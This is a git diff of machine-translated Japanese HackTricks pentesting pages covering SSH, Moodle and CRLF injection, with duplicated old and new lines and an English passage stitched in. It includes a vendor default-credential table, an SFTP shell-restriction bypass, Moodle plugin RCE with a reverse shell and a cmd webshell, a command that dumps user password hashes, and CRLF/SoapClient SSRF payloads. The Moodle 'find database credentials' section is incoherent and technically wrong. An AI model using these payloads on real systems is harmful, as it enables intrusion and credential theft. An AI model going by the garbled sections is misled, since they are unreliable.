**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが**セキュリティのないネットワークを介してコンピュータに安全にアクセスする**ためのネットワークプロトコルです。
|
||||
**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが**セキュリティのないネットワークを介してコンピュータに安全にアクセスするためのネットワークプロトコル**です。
|
||||
|
||||
**デフォルトポート:** 22
|
||||
```
|
||||
22/tcp open ssh syn-ack
|
||||
```
|
||||
**SSHサーバー:**
|
||||
**SSHサーバー:**
|
||||
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH、BSD、Linuxディストリビューション、およびWindows 10以降のWindowsに搭載されています。
|
||||
* [openSSH](http://www.openssh.org) – OpenBSD SSH、BSD、Linuxディストリビューション、およびWindows 10以降に搭載されています。
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 低メモリとプロセッサリソースの環境向けのSSH実装で、OpenWrtに搭載されています。
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) – Windows向けのSSH実装で、クライアントは一般的に使用されますが、サーバーの使用は稀です。
|
||||
* [CopSSH](https://www.itefix.net/copssh) – Windows向けのOpenSSHの実装です。
|
||||
|
||||
**SSHライブラリ(サーバーサイドの実装):**
|
||||
**SSHライブラリ(サーバーサイドの実装):**
|
||||
|
||||
* [libssh](https://www.libssh.org) – SSHv2プロトコルを実装したマルチプラットフォームのCライブラリで、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)、および[R](https://github.com/ropensci/ssh)にバインディングがあります。KDEではsftpに、GitHubではgit SSHインフラストラクチャに使用されています。
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI Cで書かれたSSHv2サーバーライブラリで、組み込み、RTOS、リソース制約のある環境を対象としています。
|
||||
|
@ -149,25 +149,25 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
## デフォルトの資格情報
|
||||
|
||||
| **ベンダー** | **ユーザー名** | **パスワード** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| ------------ | ---------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc、device | apc |
|
||||
| Brocade | admin | admin123、password、brocade、fibranne |
|
||||
| Cisco | admin、cisco、enable、hsa、pix、pnadmin、ripeop、root、shelladmin | admin、Admin123、default、password、secur4u、cisco、Cisco、\_Cisco、cisco123、C1sco!23、Cisco123、Cisco1234、TANDBERG、change\_it、12345、ipics、pnadmin、diamond、hsadb、c、cc、attack、blender、changeme |
|
||||
| Citrix | root、nsroot、nsmaint、vdiadmin、kvm、cli、admin | C1trix321、nsroot、nsmaint、kaviza、kaviza123、freebsd、public、rootadmin、wanscaler |
|
||||
| D-Link | admin、user | private、admin、user |
|
||||
| Dell | root、user1、admin、vkernel、cli | calvin、123456、password、vkernel、Stor@ge!、admin |
|
||||
| EMC | admin、root、sysadmin | EMCPMAdm7n、Password#1、Password123#、sysadmin、changeme、emc |
|
||||
| HP/3Com | admin、root、vcx、app、spvar、manage、hpsupport、opc\_op | admin、password、hpinvent、iMC123、pvadmin、passw0rd、besgroup、vcx、nice、access、config、3V@rpar、3V#rpar、procurve、badg3r5、OpC\_op、!manage、!admin |
|
||||
| Huawei | admin、root | 123456、admin、root、Admin123、Admin@storage、Huawei12#$、HwDec@01、hwosta2.0、HuaWei123、fsp200@HW、huawei123 |
|
||||
| IBM | USERID、admin、manager、mqm、db2inst1、db2fenc1、dausr1、db2admin、iadmin、system、device、ufmcli、customer | PASSW0RD、passw0rd、admin、password、Passw8rd、iadmin、apc、123456、cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
| Oracle | root、oracle、oravis、applvis、ilom-admin、ilom-operator、nm2user | changeme、ilom-admin、ilom-operator、welcome1、oracle |
|
||||
| VMware | vi-admin、root、hqadmin、vmware、admin | vmware、vmw@re、hqadmin、default |
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
もし、被害者がユーザー名とパスワードを使用してSSHサーバーに接続するためにローカルネットワークにいる場合、その資格情報を盗むために**MitM攻撃を実行する**ことができます。
|
||||
もし、被害者がユーザー名とパスワードを使用してSSHサーバーに接続するためにローカルネットワークにいる場合、**MitM攻撃を行って認証情報を盗む**ことができます。
|
||||
|
||||
**攻撃経路:**
|
||||
|
||||
|
@ -194,7 +194,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
### SFTPコマンドの実行
|
||||
|
||||
もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためのSFTPアクセスを持つことを望んでいますが、マシン上でリモートシェルを取得することは望んでいません。そのため、ユーザーにプレースホルダーシェル(`/usr/bin/nologin`や`/usr/bin/false`など)を割り当て、彼をジェイルにチュートリングするだけで、シェルアクセスや全体のファイルシステムへの乱用を防ぐのに十分だと考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後すぐにコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。
|
||||
もう1つの一般的なSSHの誤構成は、SFTPの設定でよく見られます。ほとんどの場合、SFTPサーバーを作成する際に、管理者はユーザーがファイルを共有するためのSFTPアクセスを持つことを望んでいますが、マシン上でリモートシェルを取得することは望んでいません。そのため、ユーザーにプレースホルダーシェル(`/usr/bin/nologin`や`/usr/bin/false`など)を割り当て、彼をジェイルにチュートリングするだけで、シェルアクセスや全体のファイルシステムへの乱用を防ぐことができると考えています。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証後すぐにコマンドを実行するように要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルをバイパスするには、単に事前にコマンド(例:`/bin/bash`)を実行するように要求するだけです。
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
@ -253,13 +253,13 @@ PermitTTY no
|
|||
|
||||
### SFTPトンネリング
|
||||
|
||||
SFTPサーバーへのアクセスがある場合、一般的なポートフォワーディングを使用してトラフィックをトンネリングすることもできます。
|
||||
SFTPサーバーへのアクセス権がある場合、一般的なポートフォワーディングを使用してトラフィックをトンネリングすることもできます。
|
||||
```
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTPシンボリックリンク
|
||||
|
||||
**sftp**には「**symlink**」というコマンドがあります。したがって、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、あなたはchroot内に**閉じ込められている**ため、これは特に役に立たないでしょうが、作成された**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)からアクセスできる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
|
||||
**sftp**には「**symlink**」というコマンドがあります。したがって、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。おそらく、あなたはchroot内に**閉じ込められている**ため、これは特に役に立たないでしょうが、作成した**シンボリックリンク**に**no-chrootサービス**(たとえば、ウェブからシンボリックリンクにアクセスできる場合)から**アクセス**できる場合、**ウェブを介してシンボリックリンクされたファイルを開く**ことができます。
|
||||
|
||||
たとえば、新しいファイル「**_froot_**」から「**_/**_」への**シンボリックリンク**を作成するには、以下のようにします:
|
||||
```
|
||||
|
@ -293,6 +293,24 @@ ssh_known_hosts
|
|||
known_hosts
|
||||
id_rsa
|
||||
```
|
||||
## Fuzzing
|
||||
|
||||
* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
* [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2)
|
||||
|
||||
## References
|
||||
|
||||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
## ファジング
|
||||
|
||||
* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
|
@ -300,12 +318,12 @@ id_rsa
|
|||
|
||||
## 参考文献
|
||||
|
||||
* [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)には、SSHを強化するための興味深いガイドがあります。
|
||||
* [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) でSSHの強化ガイドを見つけることができます。
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし興味があるなら、**ハッキングのキャリア**を追求し、**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし興味があるなら、**ハッキングのキャリア**を追求し、**私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -38,7 +38,7 @@ JBoss内で**管理サーブレット**を公開することができます。
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -75,11 +75,11 @@ Scan completed.
|
|||
|
||||
CMSMapは、ウェブアプリケーションのペネトレーションテストに使用されるツールです。このツールは、MoodleなどのCMS(コンテンツ管理システム)の脆弱性を特定するために使用されます。
|
||||
|
||||
CMSMapは、ウェブサイトのURLを入力することで、そのサイトがどのCMSを使用しているかを特定します。また、CMSのバージョンやインストールされているプラグインなどの詳細な情報も提供します。
|
||||
CMSMapは、ウェブサイトのバージョン、インストールされているプラグイン、テーマ、およびその他の重要な情報を特定するために使用されます。これにより、攻撃者は脆弱性を悪用するための情報を収集することができます。
|
||||
|
||||
このツールは、ウェブサイトのセキュリティ評価を行う際に非常に役立ちます。CMSの脆弱性を特定することで、攻撃者がウェブサイトに侵入する可能性を減らすことができます。
|
||||
CMSMapは、コマンドラインベースのツールであり、Pythonで書かれています。このツールは、ウェブサイトのURLを指定し、自動的に情報を収集します。また、プラグインやテーマの脆弱性をテストするためのモジュールも提供しています。
|
||||
|
||||
CMSMapは、コマンドラインベースのツールであり、Pythonで開発されています。このツールは、ウェブアプリケーションのペネトレーションテストにおいて、CMSの脆弱性を特定するための重要なツールの1つです。
|
||||
CMSMapは、ウェブアプリケーションのセキュリティ評価において非常に役立つツールです。ウェブサイトの脆弱性を特定し、それらを修正することで、攻撃者からの攻撃を防ぐことができます。
|
||||
```bash
|
||||
pip3 install git+https://github.com/dionach/CMSmap.git
|
||||
cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
@ -90,19 +90,19 @@ cmsmap http://moodle.example.com/<moodle_path>
|
|||
|
||||
## RCE
|
||||
|
||||
「マネージャー」の役割を持っている必要があり、「サイト管理」タブ内でプラグインをインストールできます。
|
||||
「サイト管理」タブ内で、**マネージャーの役割を持っている必要があり、プラグインをインストールすることができます**。
|
||||
|
||||
![](<../../.gitbook/assets/image (447).png>)
|
||||
|
||||
マネージャーであっても、このオプションを有効にする必要がある場合があります。Moodle特権エスカレーションPoCで確認できます:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
||||
マネージャーであっても、このオプションを**有効にする必要がある場合があります**。Moodle特権エスカレーションPoCで確認できます:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
||||
|
||||
次に、次のプラグインをインストールできます。このプラグインには、クラシックなpentest-monkey php逆シェルが含まれています(アップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります)。
|
||||
次に、以下のプラグインを**インストール**することができます。このプラグインには、クラシックなpentest-monkey php r**evシェルが含まれています(アップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります)**。
|
||||
|
||||
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
|
||||
|
||||
または、「cmd」パラメータを使用して通常のPHPシェルを取得するために、[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)からプラグインを使用することもできます。
|
||||
|
||||
悪意のあるプラグインにアクセスするには、次の場所にアクセスする必要があります:
|
||||
悪意のあるプラグインにアクセスするには、以下にアクセスする必要があります:
|
||||
```bash
|
||||
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
||||
```
|
||||
|
@ -110,16 +110,16 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|||
|
||||
### データベースの資格情報を見つける
|
||||
|
||||
```html
|
||||
POST /login HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 27
|
||||
データベースの資格情報を見つけるために、以下の手順を実行します。
|
||||
|
||||
username=admin&password=pass
|
||||
```
|
||||
1. ブラウザの開発者ツールを開きます。
|
||||
2. ログインフォームに適当なユーザー名とパスワードを入力します。
|
||||
3. フォームを送信するときに、ネットワークタブを開きます。
|
||||
4. ネットワークタブで、POSTリクエストを見つけます。
|
||||
5. POSTリクエストのヘッダーとボディを確認し、データベースの資格情報を探します。
|
||||
6. 資格情報が見つかった場合は、ユーザー名とパスワードをメモします。
|
||||
|
||||
このPOSTリクエストは、`/login`エンドポイントにユーザー名とパスワードを送信しています。もしサーバーが脆弱であれば、このリクエストを利用してデータベースの資格情報を見つけることができます。レスポンスには、データベースの資格情報が含まれる可能性があります。
|
||||
この方法を使用すると、ログインフォームを介してデータベースの資格情報を見つけることができます。
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -127,19 +127,19 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|||
|
||||
To dump credentials from a database, you can use various techniques depending on the type of database and the access you have. Here are some common methods:
|
||||
|
||||
1. **SQL Injection**: If the application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames and passwords stored in the database.
|
||||
1. **SQL Injection**: If the application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames, passwords, and other sensitive information.
|
||||
|
||||
2. **Brute-forcing**: If you have access to the database server, you can attempt to brute-force the login credentials. This involves trying different combinations of usernames and passwords until you find the correct ones.
|
||||
|
||||
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By exploiting these misconfigurations, you can gain access to the database and extract credentials.
|
||||
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By identifying and exploiting these misconfigurations, you can gain access to the database and extract credentials.
|
||||
|
||||
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in it. These hashes can then be cracked using various techniques, such as rainbow tables or brute-forcing, to obtain the actual passwords.
|
||||
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in the database. These hashes can then be cracked using various techniques, such as rainbow tables or brute-forcing, to obtain the actual passwords.
|
||||
|
||||
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access to databases is illegal and unethical.
|
||||
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access is illegal and unethical. Always ensure you are conducting penetration testing or security assessments within the boundaries of the law and with proper authorization.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
|
@ -150,8 +150,8 @@ Remember, it is important to have proper authorization and legal permission befo
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -27,7 +27,7 @@
|
|||
|
||||
### CRLFインジェクション脆弱性とは?
|
||||
|
||||
CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの入力にキャリッジリターンと改行の文字を挿入し、サーバー、ウェブアプリケーション、またはユーザーを騙してオブジェクトが終了し、別のオブジェクトが開始されたと思わせます。したがって、CRLFシーケンスは悪意のある文字ではありませんが、HTTPレスポンスの分割などの悪意のある目的に使用することができます。
|
||||
CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの入力にキャリッジリターンと改行の文字を挿入し、サーバー、ウェブアプリケーション、またはユーザーを騙してオブジェクトが終了し、別のオブジェクトが開始されたと思わせます。したがって、CRLFシーケンスは悪意のある文字ではありませんが、HTTPレスポンスの分割など、悪意のある目的に使用することができます。
|
||||
|
||||
## ウェブアプリケーションにおけるCRLFインジェクション
|
||||
|
||||
|
@ -52,9 +52,9 @@ IP - 時間 - 訪問したパス
|
|||
```
|
||||
したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限付きアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。
|
||||
|
||||
問題は、管理者が制限付きアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため(したがって、おそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われます)、怪しまれません。
|
||||
問題は、管理者が制限付きアクションパラメータを使用した不明なIPを検知した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため(したがっておそらくサーバーへのアクセス権を持つ管理者のような人物によるものと思われる)、怪しまれません。
|
||||
|
||||
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、別の&があり、サーバーによって別のパラメータとして解析される制限付きアクションパラメータが続きます。実質的には、次のクエリと同じです:
|
||||
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、別の&があり、サーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じです:
|
||||
```
|
||||
/index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
@ -114,7 +114,7 @@ CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダ
|
|||
### SSRFでの新しいHTTPリクエスト
|
||||
|
||||
CRLFインジェクションを悪用することで、**新しいHTTPリクエストを作成してインジェクションする**ことができます。\
|
||||
PHPの`SoapClient`デシリアライゼーションガジェットを使用した良い例があります。このクラスは、`user_agent`パラメータ内にCRLFが存在するため、新しいヘッダーやボディの内容を**挿入する**ことができます。しかし、この脆弱性を悪用して**新しいHTTPリクエストをインジェクションする**ことさえ可能です。
|
||||
PHPの`SoapClient`デシリアライゼーションガジェットを使用した良い例があります。このクラスは、`user_agent`パラメータ内にCRLFが存在するため、新しいヘッダーやボディの内容を**挿入する**ことができます。しかし、この脆弱性を悪用して**新しいHTTPリクエストをインジェクションする**こともできるかもしれません。
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
|
@ -145,7 +145,7 @@ $client->__soapCall("test", []);
|
|||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
